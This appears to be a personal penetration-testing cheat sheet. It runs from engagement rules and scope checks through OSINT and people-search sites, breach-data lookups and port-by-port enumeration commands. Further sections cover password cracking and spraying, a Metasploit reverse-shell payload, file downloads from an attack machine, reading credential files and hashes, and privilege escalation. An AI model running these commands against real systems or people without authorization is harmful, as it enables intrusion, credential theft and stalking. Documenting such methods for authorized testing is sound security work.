Hackers Methodology

Onjectives of an External Pentest

Trying to test the security from an attackers perspective.
Can a hacker access the system?
What weaknesses are present in the system?
Provide potential remediation steps
PROTECT THE CLIENT

External Checklist

Ensure ROE is signed by Client
Add IP's to Scope TAB
Verify scope with customer
Send Kick-off email
Conduct Vuln scan with Nessus
Identify leaked/breached credentials
Identify employees and email format
Identify websites and search for relevant data (job postings, system info, policy)
Enumerate any accounts on portals, password resets, etc
Run a web app scan (if applicable)
Manually test and exploit target
Validate vulnerabilities found in scanning
Conduct password spray & Bruteforcing on login portals
Escalate from internal to external
Validate previous test results (if applicable)
Cleanup

Rules of Engagement

Signed document after MSA, Quote, etc are completed

Defines roles, responsibilities, and bounds of the test beging performed
Team members authorized to engage
Customer Point of Contact
Company Point of Contact
Rules:
Test Dates
Discolsure
Status Updates

Scope (IP's)
Potential disruptive testing
Bounds (exclusions)
Stop Point
Maintaining Access
Announcement
Project Closure
Post-Mortem
Out-Of-Scope
Disclaimer
Acceptance (MUST BE SIGNED BY REPRESENTATIVE)

Verifying Scope

Screw this up and YOU GO TO JAIL.
Ensure that the IP range/ Websites given to you belong to the client

Use to verify scope

https://bgp.he.net/net
https://dnschecker.org/all-tools.php

Communication

Low-Med findings may not need alot of communications
High-Critical should have immediate contact (RCE, Vulns)

Kick-Off email
Notify of start, IP Range agreed upon, Attacker IP
Automate!! (email, Nessus scan can be automated to begin ASAP)

Attack Strategy

RCE is unlikely (if it was available, an attacker would have already gotten to it)
Password strength. weak password policy is far more likely. No MFA
OSINT can definietly help you figure out what you are looking for
WebApp may not be interesting, but you CAN try to attack it.

Vulerability Scanning

Begin with an Advanced Scan

set targets/range
Schedule it to begin immediately once engagement begins
Set ALL ports to scan (1-65535)
Ensure Web App are scanned (check other Assessments as well)
May take a while depending on size of scope

Reviewing and Extracting Information

Alot of data will be low priority, don't waste time writing a 1000 page document, provide reports on vulnerabilities found using:

Export Nessus File
Export PDF report (Executive, Custom with Everything)
Export HTML report

Melcara Nessus Parser (melcara.com)
Run and export it to XLSX

OSINT and Enumeration

Scope Verification

Use to verify scope

https://bgp.he.net/net
https://dnschecker.org/all-tools.php

Google Dorking

Google Hacking DataBase (GHDB)
Search on Google, Bing, DuckDuckGo, Baidu, Yandex, etc

Use the “-” to remove search terms (ie: -Florida)
use “site:DOMAIN.COM” to search a specific location for the search terms
use “AND” to search multiple terms together

use “ ” to search phrases in order (ie: “Happy Dog”)
use wildcard (*) to search for ANY match in that phrase (ie: *.google.com)
use “filetype:” to look for specific files (pdf,docx,xslx,csv,etc)
use “intext:*” to look for any webpage with the search term in the page
use “inurl:*” to search for the term in the sites url
use “intitle:*" to search for phrase in webpage titles

Finding Emails and Users

https://hunter.io

signup for 50 free searches per year
simply search the domain you are looking to identify
Pattern identification can help help in discovering email format (ie: f.last@domain.com)
filter by departments to help narrow your search

https://phonebook.cz

search domain you are looking to identify
quick and easy to copy/paste a wordlist for username enumeration
use default/weak passwords and spray at all usernames

clearbit (chrome extention)
from gmail, simply searchthe domain you are looking for.
filter by role/seniority

https://tools.verifyemailaddress.io
https://email-checker.net/validate
verify emails collected

forgot password functions can help tie in additional information (other email / phone number)

USE LINKEDIN! (search company employees)
look for legitimate scrappers to make larger orgs easy
Add to breached accounts tab

git clone https://github.com/killswitch-GUI/SimplyEmail.git
./SimplyEmail.py -all -e TARGET-DOMAIN

use to find websites with that username
https://namechk.com

https://whatsmyname.app
https://namecheckup.com

Enumerating Valid Accounts

login message may reveal incorrect EMAIL
Reset password can inform you thatan email is valid
Notate login portals identified in relevant tab

Password OSINT

https://github.com/hmaverickadams/breach-parse

breach-parse @gmail.com gmail.txt

Identify patterns (multiple breaches, reuses, weak passwords)
Add to breached accounts sheet

https://dehashed.com/ (Paid account)
https://weleakinfo.to (Paid account)
https://leakcheck.io (Paid account)
https://haveibeenpwned/com
https://scylla.sh

Search based on criteria (name, domain, email, address, etc)
Utilize different source if password sprays don't end up working

People OSINT

https://whitepages.com
https://truepeoplesearch.com
https://fastpeoplesearch
https://fastbackgroundcheck.com
https://webmii.com
https://peekyou.com
https://411.com
https://spokeo.com
https://thatsthem.com

Voter Records

https://voterrecords.com

Phone Numbers

Google it!
Try different combinations of the number (xxx)xxx-xxxx / (xxx)xxxxxxx / xxx-xxx-xxxx / xxxxxxxxxx / emojis / spell out the numbers

https://truecaller.com (don't download on devices you like)
https://calleridtest.com (5 per day)
https://infobel.com

Resumes

google - “name” resume
filter by filetype:pdf/docx
filter by site:google, dropbox, scribd, linkedin

Social Media OSINT

Twitter
twitter.com/search-advanced

Search for people/topics/keywords
Top is trending on Twitter
Latest is most recent mention
People is users associated with or in bio
Photos
Videos

use “ ” to search specific phrases
use from:* to filter by specific users
use to:* to see who is tweeting at the target
use the @* to see anyone who tagged the target
use since:YYYY-MM-DD to view tweets since date
use until:YYYY-MM-DD to limit previous operator
use geocode: COORDINATES RANGEKM to view tweets within a speficied location
look through likes/media/replies/tweets

https://socialbearing.com
https://www.twitonomy.com/
https://mentionmapp.com/
http://spoonbill.io/
https://tinfoleak.com/
http://sleepingtime.org/

https://tweetdeck.com

Facebook

search name
filter by location/education
filter by posts/people/photos/groups/etc

use "photos of NAME" to see who contacted that person

view page source and find “userID” for Entity ID to search

Pull data from Into / Pictures / Friends / Videos / Check-ins / Likes

https://sowdust.github.io/fb-search/
https://intelx.io/tools?tab=facebook

Instagram

check account / photos / tags / followers / following

https://wopita.com
https://codeofaninja.com
https://instadp.com
https://imginn.com

Snapchat

Search usernames / slow type in search field
search user locations using https://map.snapchat.com

Reddit

Search for the username on Reddit
use “ ” to search specific phrases
use google to search phrases at site:reddit.com

Linkedin

look at unique url username (ie: in/xxxx-xxxxx)
look for contact info
Look at the company they work at
Look at coworkers

Other relevant info

Job posting explains environment, systems, tools, applications
Google search for password/other policies

Website OSINT

filter by "site:"
search for site:* USER
look for pictures
begin removing keywords you have already recon'd

https://builtwith.com
Look at the different tabs (metadata/Detailed tech profile) and look for older/ weak infrastructure

https://centralops.net/co/
shows IP, WHOIS (contact/location/phone), Name Servers, MX records, service scans (nmap)

https://dnslytics.com
use tools to find other domains (self-hosted),

https://spyonweb.com
Whois, Alexa Ranking, and search for additional domains using UA

https://virustotal.com
Identify UA code from Google

https://reddit.com/domain/DOMAIN.com
See anyone who has been discussing the company on Reddit

https://visualping.io
monitor website changes

https://backlinkwatch.com
search for links to compnay on other sites

https://viewdns.info
dozens of options that can provide information about IP/Domains/etc

DNS Enumeration

https://whois.domaintools.com/
https://pentest-tools.com/information-gathering/find-subdomains-of-domain
https://dnsdumpster.com/
dnsrecon -d TARGET -D /usr/share/wordlists/dnsmap.txt

DNS Zone Transfer

dig axfr WEBSITE.com @ns1.WEBSITE.com

Sub-Domain Enumeration

site:*.Domain.com -www
use inurl: to look for admin/login/dev/sso/vpn/
sip/autodiscover/profile/uat/staging may be interesting as well.

https://pentest-tools.com/information-gathering/find-subdomains-of-domain#
https://spyse.com/
https://crt.sh/ (%.DOMAIN.com for wildcard)
https://github.com/appsecco/the-art-of-subdomain-enumeration/blob/master/san_subdomain_enum.py
https://shodan.io
https://archive.org

Hunting Business Info

Use Linkedin for quick and easy OSINT
Look at the about for locations/ phone numbers/ employees/ website / open jobs (technology)/ images and videos
Images are critical! look for badges/ locations/ computer screens/ stickynotes/ use google to reverse search pictures, find titles/profiles
Look for other staff members (search linkedin.com/in/ “at COMPANY”)

https://opencorporate.com
Search company info (address, officers, time in business, paperwork)

State business registries

https://aihit.com

Look for Companies open positions on (indeed/Dice/career pages/others)

Wireless OSINT

https://wigle.net

Using Tools

Image and Location Data

Look for other tools (instagram OSINT, etc)

exiftool FILENAME (gives basic information)

Hunting Breached data

theHarvester -d DOMAIN -l LIMIT -b source1.source2,all (look into setting up API keys)
./breach-parse.sh @DOMAIN.COM FILENAME
h8mail -t EMAIL (or file)
h8mail -t EMAIL or FILE -bc "/opt/breach-parse/BreachCompilation/" -sk

Usernames and Account OSINT

python3 /opt/OSINT-tools/sherlock/sherlock/sherlock.py USERNAME

Phone Number OSINT

phoneinfoga scan -n NUMBER
phoneinfoga serve -p 8080 (GUI Version)

Social Media OSINT

TWITTER

cd to /opt/OSINT-tools/src/twint/twint

twint -u USERNAME -s SUBJECT
twint -u USERNAME -o FILE.txt (or .csv with --csv)
twint -u USERNAME --timeline
twint -u USERNAME --year
twint -u USERNAME --since YYY-MM-DD
twint -s SUBJECT

INSTAGRAM

cd to /opt/OSINT-tools/InstagramOSINT

python3 main.py --username USERNAME

WEBSITE OSINT

Use Wappalyzer to get some high level details about how the website was built (use builtwith as well)

whatweb -v DOMAIN
whois DOMAIN

subfinder -d DOMAIN > DOMAIN.txt
assetfinder DOMAIN | grep DOMAIN >> DOMAIN.txt
amass enum -d DOMAIN
cat TARGET.txt | sort -u | httprobe -s -p https:443

OSINT Frameworks

recon-ng
marketplace search
look for recon/*

marketplace install hackertarget (finds Hostnames)
modules load hackertarget
options set SOURCE domain
show hosts

marketplace install profiler
module load profiler
options set SOURCE username
show profiles

search for more and use them to gain more info

Other Tools
https://hunch.ly
ONLY Runs in Chrome
Start New Case

use selectors as a keyword search to find
use tags to flag specific webpages

Writing an OSINT report

Summary

Key Findings
Subject Info (Photo / Info / Accounts and Emails)
Steps taken to find info (keep it short)
Technical Evidence (Instructions and screenshots)
How does the info tie to the subject

Scanning

Begin by Vulnerability Scanning

Begin with an Advanced Scan
set targets/range
Schedule it to begin immediately once engagement begins
Set ALL ports to scan (1-65535)
Ensure Web App are scanned (check other Assessments as well)
May take a while depending on size of scope

Port Scanning

sudo masscan -p1-65535,U:1-65535 $IPADDRESS/RANGE --rate=1000 > Masscan$IPADDRESS/RANGE.txt

sudo nmap -sU -sT -p0-65535 $IPADDRESS/RANGE > Nmap$IPADDRESS/RANGE.txt

sudo nmap -sT -sU -sV -p0-65535 --script=vuln $IPADDRESS/RANGE > Nmap$IPADDRESS/RANGEvulns.txt

# Full TCP port scan
sudo nmap -Pn -p- -oN alltcp_ports.txt $ip

```
# Full TCP port scan (safe scripts + version detection)
sudo nmap -Pn -sC -sV -p- -oN alltcp.txt $ip

# Top 20 UDP port scan
sudo nmap -Pn -sU -sV -sC --top-ports=20 -oN top_20_udp_nmap.txt $ip
```

AutoRecon

```
# Scan single target
sudo autorecon -o enumeration $ip

# Scan multiple targets
sudo autorecon -o enumeration $ip1 $ip2 $ip3 $ip4
```

Fingerprinting and Banner Grabbing

```
nc -v IPADDRESS Port
Telnet IPADDRESS Port
```

FTP Enumeration (Port 21)

```
nmap -p 21 --script=ftp* -oN ftp$IPADDRESS.txt

nmap –script ftp-anon,ftp-bounce,ftp-libopie,ftp-proftpd-backdoor,ftp-vsftpd-backdoor,ftp-vuln-cve2010-4221,tftp-enum -p 21 > ftp$IPADDRESS.txt

# Version detection + NSE scripts
nmap -Pn -sV -p 21 --script="banner,(ftp* or ssl*) and not (brute or broadcast or dos or external or fuzzer)" -oN "tcp_21_ftp_nmap.txt" $ip
```

SSH Enumeration (Port 22)

```
nc -vn $IPADDRESS 22

nmap -p22 $IPADDRESS -sC

nmap -p22 $IPADDRESS -sV

nmap -p22 $IPADDRESS --script ssh2-enum-algos
```

nmap -p22 $IPADDRESS --script ssh-hostkey --script-args ssh_hostkey=full

nmap -p22 $IPADDRESS --script ssh-auth-methods --script-args="ssh.user=root"

Version detection + NSE scripts
nmap -Pn -sV -p 22 --script=banner,ssh2-enum-algos,ssh-hostkey,ssh-auth-methods -oN tcp_22_ssh_nmap.txt $ip

SMTP Enumeration (Port 25)

nmap –script smtp-commands,smtp-enum-users,smtp-vuln-cve2010-4344,smtp-vuln-cve2011-1720,smtp-vuln-cve2011-1764 -p 25 $IPADDRESS

nc -nvv $IPADDRESS 25

telnet $IPADDRESS 25

Version detection + NSE scripts
nmap -Pn -sV -p 25 "--script=banner,(smtp* or ssl*) and not (brute or broadcast or dos or external or fuzzer)" -oN tcp_25_smtp_nmap.txt $ip

/home/kali/.local/bin/smtp-user-enum -V -m RCPT -w -f '<user@example.com>' -d 'domain.local' -U "/usr/share/metasploit-framework/data/wordlists/unix_users.txt" $ip 25 2>&1 | tee "tcp_25_smtp_user-enum.txt"

DNS Enumeration

nmap -sC -sV -p53 OPADDRESS.0/24
https://whois.domaintools.com/
https://pentest-tools.com/information-gathering/find-subdomains-of-domain
https://dnsdumpster.com/
dnsrecon -d TARGET -D /usr/share/wordlists/dnsmap.txt

# Version detection + NSE scripts
sudo nmap -Pn -sU -sV -p 53 "--script=banner,(dns* or ssl*) and not (brute or broadcast or dos or external or fuzzer)" -oN udp_53_dns_nmap.txt $ip

DNS Zone Transfer

dig axfr WEBSITE.com @ns1.WEBSITE.com

Perform zone transfer (only works over port 53/tcp)
dig axfr @$ip $domain 2>&1 | tee "tcp_53_dns_dig.txt"

Perform reverse DNS lookup (may display NS record containing domain name)
nslookup $ip $ip

Brute force subdomains
gobuster dns -d $domain -w /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt -t 16 -o "tcp_53_dns_gobuster.txt"

Web Enumeration (80/443)

curl -I $url

cewl $url/index.php -m 3 --with-numbers -w cewl.txt

python3 drupwn --version 7.28 --mode enum --target $url

droopescan scan drupal -u $url

dirb http://$IPADDRESS/

nikto –h $IPADDRESS

ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt:FUZZ -u http://IPADDRESS/FUZZ

 # Version detection + NSE scripts
nmap -Pn -sV -p $port "--script=banner,(http* or ssl*) and not (brute or broadcast or dos or external or http-slowloris* or fuzzer)" -oN tcp_port_protocol_nmap.txt $ip

nikto -h $url 2>&1 | tee "tcp_port_protocol_nikto.txt"

gobuster dir -u $url -w /usr/share/seclists/Discovery/Web-Content/common.txt -x "txt,html,php,asp,aspx,jsp" -s "200,204,301,302,307,403,500" -k -t 16 -o "tcp_port_protocol_gobuster.txt"

python3 /opt/dirsearch/dirsearch.py -u $url -t 16 -e txt,html,php,asp,aspx,jsp -f -x 403 -w /usr/share/seclists/Discovery/Web-Content/common.txt --plain-text-report="tcp_port_protocol_dirsearch.txt"

Dirbuster (GUI): only perform extension brute force - disable 'Brute Force Dirs'

wfuzz -c -z file,/usr/share/seclists/Discovery/Web-Content/common.txt --hc 404 -t 16 $url/FUZZ 2>&1 | tee "tcp_port_http_wfuzz.txt"

 # Directory brute force recursively with max depth = 2
python3 /opt/dirsearch/dirsearch.py -u $url/apps/ -t 16 -e txt,html,php -f -x 403 -r -R 2 -w /usr/share/seclists/Discovery/Web-Content/common.txt --plain-text-report="tcp_port_protocol_dirsearch_apps.txt"

whatweb --color=never --no-errors -a 3 -v $url 2>&1 | tee "tcp_port_protocol_whatweb.txt"

 # Enumerate vulnerable plugins and themes, timthumbs, wp-config.php backups, database exports, usernames and media IDs
wpscan --url $url --no-update --disable-tls-checks -e vp,vt,tt,cb,dbe,u,m --plugins-detection aggressive --plugins-version-detection aggressive -f cli-no-color 2>&1 | tee tcp_port_protocol_wpscan.txt

 # Enumerate all plugins
wpscan --url $url --disable-tls-checks --no-update -e ap --plugins-detection aggressive -f cli-no-color 2>&1 | tee tcp_port_protocol_wpscan_plugins.txt

 # Check if bash vulnerable to CVE-2014-6271 (bash vulnerable if 'vulnerable' in output)
env x='() { :;}; echo vulnerable' bash -c "echo this is a test"

 # Brute force CGI files
gobuster dir -u $url/cgi-bin/ -w /usr/share/seclists/Discovery/Web-Content/common.txt -x "cgi,sh,pl,py" -s "200,204,301,302,307,403,500" -t 16 -o "tcp_port_protocol_gobuster_shellshock.txt"

wfuzz -c -z file,/usr/share/seclists/Discovery/Web-Content/CGIs.txt --hc 404 -t 16 $url/cgi-bin/FUZZ 2>&1 | tee "tcp_port_protocol_wfuzz.txt"

Webmin uses cgi files - versions up to 1.700 vulnerable to shellshock (http://www.webmin.com/security.html)

Sub-Domain Enumeration

https://crt.sh/
https://github.com/appsecco/the-art-of-subdomain-enumeration/blob/master/san_subdomain_enum.py
./sumrecon.sh DOMAIN

Kerberos (88/464)

```
# Version detection + NSE scripts
nmap -Pn -sV -p $port --script="banner,krb5-enum-users" -oN
"tcp_port_kerberos_nmap.txt" $ip
```

POP3/POP3S

```
# Version detection + NSE scripts
nmap -Pn -sV -p $port "--script=banner,(pop3* or ssl*) and not (brute or
broadcast or dos or external or fuzzer)" -oN tcp_port_pop3_nmap.txt $ip
```

RPCBind (111)

```
rpcinfo –p $IPADDRESS

# Version detection + NSE scripts
nmap -Pn -sV -p $port --script=banner,msrpc-enum,rpc-grind,rpcinfo -oN
tcp_port_rpc_nmap.txt $ip

# List all registered RPC programs
rpcinfo -p $ip

# Provide compact results
rpcinfo -s $ip

rpcclient -U "" -N $ip
   srvinfo
   enumdomusers
   getdompwinfo
   querydominfo
   netshareenum
   netshareenumall
```

Ident (113)

ident-user-enum $ip 22 25 80 445

NTP (123)

# Run ntp-info NSE script
sudo nmap -sU -p 123 --script ntp-info $ip

NetBIOS (137)

enum4linux -a -M -l -d $ip 2>&1 | tee "enum4linux.txt"

nbtscan -rvh $ip 2>&1 | tee "nbtscan.txt"

SMB\RPC Enumeration (139/445)

Version detection + NSE scripts
nmap -Pn -sV -p 445 "--script=banner,(nbstat or smb* or ssl*) and not (brute or broadcast or dos or external or fuzzer)" --script-args=unsafe=1 -oN tcp_445_smb_nmap.txt $ip

enum4linux –a $IPADDRESS

enum4linux -a -M -l -d $ip 2>&1 | tee "enum4linux.txt"

# NB: change interface tcpdump listening on
sudo ./smbver.sh $ip 139

nbtscan $IPADDRESS

py $IPADDRESS 500 50000 dict.txt

python /usr/share/doc/python-impacket-doc/examples/samrdump.py $IPADDRESS

nmap $IPADDRESS --script smb-enum-domains.nse,smb-enum-groups.nse,smb-enum-processes.nse,smb-enum-sessions.nse,smb-enum-shares.nse,smb-enum-users.nse,smb-ls.nse,smb-mbenum.nse,smb-os-discovery.nse,smb-print-text.nse,smb-psexec.nse,smb-security-mode.nse,smb-server-stats.nse,smb-system-info.nse,smb-vuln-conficker.nse,smb-vuln-cve2009-3103.nse,smb-vuln-ms06-025.nse,smb-vuln-ms07-029.nse,smb-vuln-

ms08-067.nse,smb-vuln-ms10-054.nse,smb-vuln-ms10-061.nse,smb-vuln-regsvc-dos.nse

```
nmap -T4 -v -oA shares --script smb-enum-shares --script-args smbuser=username,smbpass=password -p445 $IPADDRESS.0/24

nmap -sU -sS --script=smb-enum-users -p U:137,T:139 $IPADDRESS.0/24

smbclient -L //$IPADDRESS/

# List share permissions
smbmap -H $ip -P 445 2>&1 | tee -a "smbmap-share-permissions.txt"; smbmap -u null -p "" -H $ip -P 445 2>&1 | tee -a "smbmap-share-permissions.txt"

# List share contents
smbmap -H $ip -P 445 -R 2>&1 | tee -a "smbmap-list-contents.txt"; smbmap -u null -p "" -H $ip -P 445 -R 2>&1 | tee -a "smbmap-list-contents.txt"

smbmap -H $ip
smbclient -L //$ip/ -U '' -N

nmap --script smb-enum-shares -p 445 $ip

smbclient \\\\$ip\\wwwroot

# RRAS Service Overflow
# https://docs.microsoft.com/en-us/security-updates/securitybulletins/2006/ms06-025
nmap -Pn -sV -p 445 --script="smb-vuln-ms06-025" --script-args="unsafe=1" -oN "tcp_445_smb_ms06-025.txt" $ip

# DNS RPC Service Overflow
# https://docs.microsoft.com/en-us/security-updates/securitybulletins/2007/ms07-029
nmap -Pn -sV -p 445 --script="smb-vuln-ms07-029" --script-args="unsafe=1" -oN "tcp_445_smb_ms07-029.txt" $ip

# Server Service Vulnerability
# https://docs.microsoft.com/en-us/security-updates/securitybulletins/2008/ms08-067
nmap -Pn -sV -p 445 --script="smb-vuln-ms08-067" --script-args="unsafe=1" -oN "tcp_445_smb_ms08-067.txt" $ip
```

Eternalblue
https://docs.microsoft.com/en-us/security-updates/securitybulletins/2017/ms17-010
nmap -p 445 --script smb-vuln-ms17-010 -oN "tcp_445_smb_ms08-067.txt" $ip

MOUNT NFS

Showmount -e IPADDRESS

Mount -t TYPE IPADDRESS:/Path/to/share MNT/LOCATION

IMAP/IMAPS (143/993)

Version detection + NSE scripts
nmap -Pn -sV -p $port "--script=banner,(imap* or ssl*) and not (brute or broadcast or dos or external or fuzzer)" -oN tcp_port_imap_nmap.txt $ip

SNMP Enumeration (161)

snmpwalk -c public -v1 $IPADDRESS

Enumerate entire MIB tree
snmpwalk -c public -v1 -t 10 $ip

Enumerate Windows users
snmpwalk -c public -v1 $ip 1.3.6.1.4.1.77.1.2.25

Enumerate running Windows processes
snmpwalk -c public -v1 $ip 1.3.6.1.2.1.25.4.2.1.2

Enumerate open TCP ports
snmpwalk -c public -v1 $ip 1.3.6.1.2.1.6.13.1.3

Enumerate installed software
snmpwalk -c public -v1 $ip 1.3.6.1.2.1.25.6.3.1.2

snmpcheck -t $IPADDRESS -c public

snmpenum -t $IPADDRESS

onesixtyone -c names -i $IPADDRESS/RANGE

```
nmap -sT -p 161 $IPADDRESS -oG snmp_results.txt

# Version detection + NSE scripts
sudo nmap -Pn -sU -sV -p 161 --script="banner,(snmp* or ssl*) and not (brute or broadcast or dos or external or fuzzer)" -oN "udp_161_snmp-nmap.txt" $ip

onesixtyone -c /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings-onesixtyone.txt $ip 2>&1 | tee "udp_161_snmp_onesixtyone.txt"
```

LDAP (389/3268)

```
# Version detection + NSE scripts
nmap -Pn -sV -p $port --script="banner,(ldap* or ssl*) and not (brute or broadcast or dos or external or fuzzer)" -oN "tcp_port_ldap_nmap.txt" $ip

enum4linux -a -M -l -d $ip 2>&1 | tee "enum4linux.txt"
```

Java RMI (1100)

```
# Version detection + NSE scripts
nmap -Pn -sV -p 1100 --script="banner,rmi-vuln-classloader,rmi-dumpregistry" -oN "tcp_110_rmi_nmap.txt" $ip
```

MSSQL (1433)

```
nmap -sU --script=ms-sql-info $IPADDRESS

# Version detection + NSE scripts
nmap -Pn -sV -p 1433 --script="banner,(ms-sql* or ssl*) and not (brute or broadcast or dos or external or fuzzer)" --script-args="mssql.instance-port=1433,mssql.username=sa,mssql.password=sa" -oN "tcp_1433_mssql_nmap.txt" $ip

# MSSQL shell
mssqlclient.py -db msdb hostname/sa:password@$ip

# List databases
SELECT name FROM master.dbo.sysdatabases

# List tables
SELECT * FROM <database_name>.INFORMATION_SCHEMA.TABLES
```

```
# List users and password hashes
SELECT sp.name AS login, sp.type_desc AS login_type, sl.password_hash, sp.create_date, sp.modify_date, CASE WHEN sp.is_disabled = 1 THEN 'Disabled' ELSE 'Enabled' END AS status FROM sys.server_principals sp LEFT JOIN sys.sql_logins sl ON sp.principal_id = sl.principal_id WHERE sp.type NOT IN ('G', 'R') ORDER BY sp.name

msf > use auxiliary/scanner/mssql/mssql_ping

msf > use auxiliary/admin/mssql/mssql_enum

msf > use exploit/windows/mssql/mssql_payload

msf exploit(mssql_payload) > set PAYLOAD windows/meterpreter/reverse_tcp
```

Oracle (1521)

```
nmap -p 1521 -A $IPADDRESS

apt-get install oscanner

oscanner -s 192.168.1.200 -P 1521

apt-get install tnscmd10g

tnscmd10g version -h $IPADDRESS

tnscmd10g status -h $IPADDRESS

nmap --script=oracle-tns-version

 nmap --script=oracle-sid-brute

 nmap --script=oracle-brute
```

NFS (2049)

```
# Version detection + NSE scripts
nmap -Pn -sV -p 111,2049 --script="banner,(rpcinfo or nfs*) and not (brute or broadcast or dos or external or fuzzer)" -oN "tcp_111_2049_nfs_nmap.txt" $ip

showmount -e $ip
```

```
sudo mount -o rw,vers=2 $ip:/home /mnt

# '-o nolock' used to disable file locking, needed for older NFS servers
sudo mount -o nolock $ip:/home /mnt/
```

MySQL (3306)

```
# Version detection + NSE scripts
nmap -Pn -sV -p 3306 --script="banner,(mysql* or ssl*) and not (brute or
broadcast or dos or external or fuzzer)" -oN "tcp_3306_mysql_nmap.txt" $ip

mysql --host=$ip -u root -p

SHOW VARIABLES;

SHOW GRANTS;

# Replace 'password' field with 'authentication_string' if it does not exist
SELECT
user,password,create_priv,insert_priv,update_priv,alter_priv,delete_priv,drop_priv
FROM mysql.user WHERE user = 'root';

SELECT grantee, table_schema, privilege_type FROM
information_schema.schema_privileges;

SELECT user FROM mysql.user WHERE file_priv='Y';
```

RDP (3389)

```
# Version detection + NSE scripts
nmap -Pn -sV -p 3389 --script="banner,(rdp* or ssl*) and not (brute or
broadcast or dos or external or fuzzer)" -oN "tcp_3389_rdp_nmap.txt" $ip
```

SIP (5060)

Scans for SIP devices on network

```
svmap $ip
```

Identifies active extensions on PBX

```
svwar -m INVITE -e 200-250 $ip
```

PostgreSQL (5432)

Log into postgres remotely

PGPASSWORD=postgres psql -h $ip -p 5437 -U postgres
List databases

\list
SELECT datname FROM pg_database;
Use postgres database

\c postgres
List tables

\d
Describe table

\d table
Check if current user superuser (on = yes, off = no)

SELECT current_setting ('is_superuser');
Get user roles

\du+
Check user’s privileges over table (pg_shadow)

SELECT grantee, privilege_type FROM information_schema.role_table_grants
WHERE table_name='pg_shadow';
Read file (/etc/passwd)

CREATE TABLE demo(t text);
COPY demo FROM '/etc/passwd';
SELECT * FROM demo;
Read usernames and password hashes

Postgresql password hash format: md5(secret || username) where || denotes string concatenation (remove md5 before cracking hash)
SELECT usename, passwd from pg_shadow;
Check if plpgsql enabled

Below result indicates that plpgsql enabled:
lanname | lanacl
#---------+---------
plpgsql |

SELECT lanname,lanacl FROM pg_language WHERE lanname = 'plpgsql'
PostgreSQL config file location

SHOW config_file;

VNC (5900)

Version detection + NSE scripts
nmap -Pn -sV -p 5900 --script="banner,(vnc* or realvnc* or ssl*) and not (brute or broadcast or dos or external or fuzzer)" --script-args="unsafe=1" -oN "tcp_5900_vnc_nmap.txt" $ip

AJP (8009)

Version detection + NSE scripts
nmap -Pn -sV -p 8009 -n --script ajp-auth,ajp-headers,ajp-methods,ajp-request -oN tcp_8009_ajp_nmap.txt $ip

Password Cracking

ZIP password cracking

fcrackzip -v -u -D -p /usr/share/wordlists/rockyou.txt FILETOCRACK.zip

Password Cracking with John

john PASSWORDFILE –wordlist=PATH/TO/WORDLIST

Show cracked passwords - john –show PASSWORDFILE

Cracking with HashCat

Password - hashcat -m TYPE -a 0 -o NEWFILE HASHFILE /usr/share/wordlists/rockyou.txt

Kerberos - hashcat -m 13100 hashes.txt /usr/share/wordlists/rockyou.txt -O

Password hints:
location (Steelers)

Season(Fall2021)
Month(Oct2021)
L33tSpeak(H@X0rZ)

Attacking Office 365 Portals

MORE THAN LIKELY LINKS TO OTHER THINGS!!!

https://github.com/blacklanternsecurity/TREVORspray

https://github.com/0xZDH/o365spray

Burp Intruder

Attacking Outlook Web Application Portals

Sensitive info MAY be here

msfconsole > use auxillary/scanner/http/owa-login

set Pass_File Pass.txt
set RHOST
set user_file FILE.txt
Ensure SSL and 443 are selected
set Threads
** Check Action got correct version **

Attacking other Login Portals

Burp Intruder can help aid in attacking a login portal
Look for error codes, length, grep for errors

Bypassing MFA

https://github.com/dafthack/MFASweep

Checks for accounts with MFA with Powershell

Privilege Escalation

Typical search for

Sudo -l
Crontab -l
ps

Get file from attack machine

Windows - Certutil -urlcache -f http://IPADDRESS/File
Linux - wget http://IPADDRESS/File

Search for SUID

find / -type f -perm -4000 2>/dev/null

Search for SGID

find / -type f -perm -2000 2>/dev/null

Windows Privilege Escalation

System Enumeration

systeminfo *(finds: hostname / os / build number / manufacturer / architecture)*
systeminfo | findstr /B /C:"ARG1" /C:"ARG2" *(OS Name / OS Version / Etc)*
wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE%

List All Drives

wmic logicaldisk get caption || fsutil fsinfo drives
wmic logicaldisk get caption,description,providername
Get-PSDrive | where {$_.Provider -like
"Microsoft.PowerShell.Core\FileSystem"}| ft Name,Root

Hostname

wmic qfe *(Shows system and patching info Look for missing KB00000)*
wmic qge get ARG1,ARG2,ARG3 *(Caption, Description, HotfixID, InstalledOn)*

Show Domain Controller
nltest /DCLIST:DomainName
nltest /DCNAME:DomainName
nltest /DSGETDC:DomainName

User Enumeration

whoami
whoami /priv
whoami /groups
whoami /all
Get-LocalUser | ft Name,Enabled,LastLogon
Get-ChildItem C:\Users -Force | select Name

net accounts

net user
net user USERNAME (Password expiry, groups, last logon)

net localgroup
net localgroup GROUPNAME
net localgroup administrators
Get-LocalGroupMember Administrators | ft Name, PrincipalSource
Get-LocalGroupMember Administrateurs | ft Name, PrincipalSource

Network Enumeration

ipconfig
ipconfig /all
Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address
Get-DnsClientServerAddress -AddressFamily IPv4 | ft

arp -A
Get-NetNeighbor -AddressFamily IPv4 | ft
ifIndex,IPAddress,LinkLayerAddress,State

route print
Get-NetRoute -AddressFamily IPv4 | ft
DestinationPrefix,NextHop,RouteMetric,ifIndex

netstat -ano (shows open connections and ports/ potential port forwarding attack)

net share
powershell Find-DomainShare -ComputerDomain domain.local

reg query HKLM\SYSTEM\CurrentControlSet\Services\SNMP /s
Get-ChildItem -path HKLM:\SYSTEM\CurrentControlSet\Services\SNMP -Recurse

Password Hunting

findstr /si password *.txt *.ini *.config

SAM and SYSTEM files

%SYSTEMROOT%\repair\SAM
%SYSTEMROOT%\System32\config\RegBack\SAM
%SYSTEMROOT%\System32\config\SAM
%SYSTEMROOT%\repair\system
%SYSTEMROOT%\System32\config\SYSTEM
%SYSTEMROOT%\System32\config\RegBack\system
Generate a hash file for John using pwdump or samdump2.

Generate a hash file for John using pwdump or samdump2

pwdump SYSTEM SAM > /root/sam.txt
samdump2 SYSTEM SAM -o sam.txt
Either crack it with john -format=NT /root/sam.txt or use Pass-The-Hash.

HiveNightmare

Check for the vulnerability using icacls

C:\Windows\System32> icacls config\SAM
config\SAM BUILTIN\Administrators:(I)(F)
        NT AUTHORITY\SYSTEM:(I)(F)
